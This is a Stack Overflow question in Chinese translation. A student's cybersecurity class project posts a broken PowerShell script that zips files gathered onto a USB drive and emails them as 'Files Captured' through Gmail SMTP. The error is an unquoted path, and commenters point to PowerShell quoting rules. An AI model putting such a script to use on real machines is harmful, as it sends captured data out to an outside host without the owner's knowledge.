【发布时间】:2018-04-17 00:51:23
【问题描述】:
我正在为我的 CyberSec 入门课程做一个项目(奖励积分),我有一个 cmd 脚本来在 USB 驱动器中创建一个包含信息的文件我试图使用 powershell 将电子邮件发送给自己但不断收到这个错误:
At D:\mail.ps1:6 char:16
+ $att= $USBDRIVE\file.zip
+ ~~~~~~~~~
Unexpected token '\file.zip' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParseException
+ FullyQualifiedErrorId : UnexpectedToken
这是我的完整的 powershell 脚本。
$USBDRIVE= Get-WMIObject Win32_Volume | ? { $_.label -eq 'ARNOLDHMW' } |
select -expand driveletter
Compress-Archive -Path $USBDRIVE\file -DestinationPath $USBDRIVE\file.zip
$email = "*"
$pass = "*"
$att= $USBDRIVE\file.zip
$smtpServer = "smtp.gmail.com"
$msg = new-object Net.Mail.MailMessage
$smtp = new-object Net.Mail.SmtpClient($smtpServer)
$smtp.EnableSSl = $true
$msg.From = "$email"
$msg.To.Add("$email")
$msg.IsBodyHTML = $true
$msg.Subject = "Files Captured"
$msg.Body = "
</br>
Hi there
"
$msg.Attachments.Add($att)
$SMTP.Credentials = New-Object System.Net.NetworkCredential("$email",
"$pass");
$smtp.Send($msg)
由于显而易见的原因,电子邮件和密码被空白 我在这里不知所措。提前感谢您的帮助!
【问题讨论】:
-
欢迎来到 SO。请不要将错误发布为图片,而是以文字形式发布。我们想复制和粘贴东西!
-
好的,抱歉。
-
关于引用字符串的主题,我建议阅读about_quoting_rules,因为这可能是您在学习 powershell 时会遇到的问题。
标签: powershell email smtp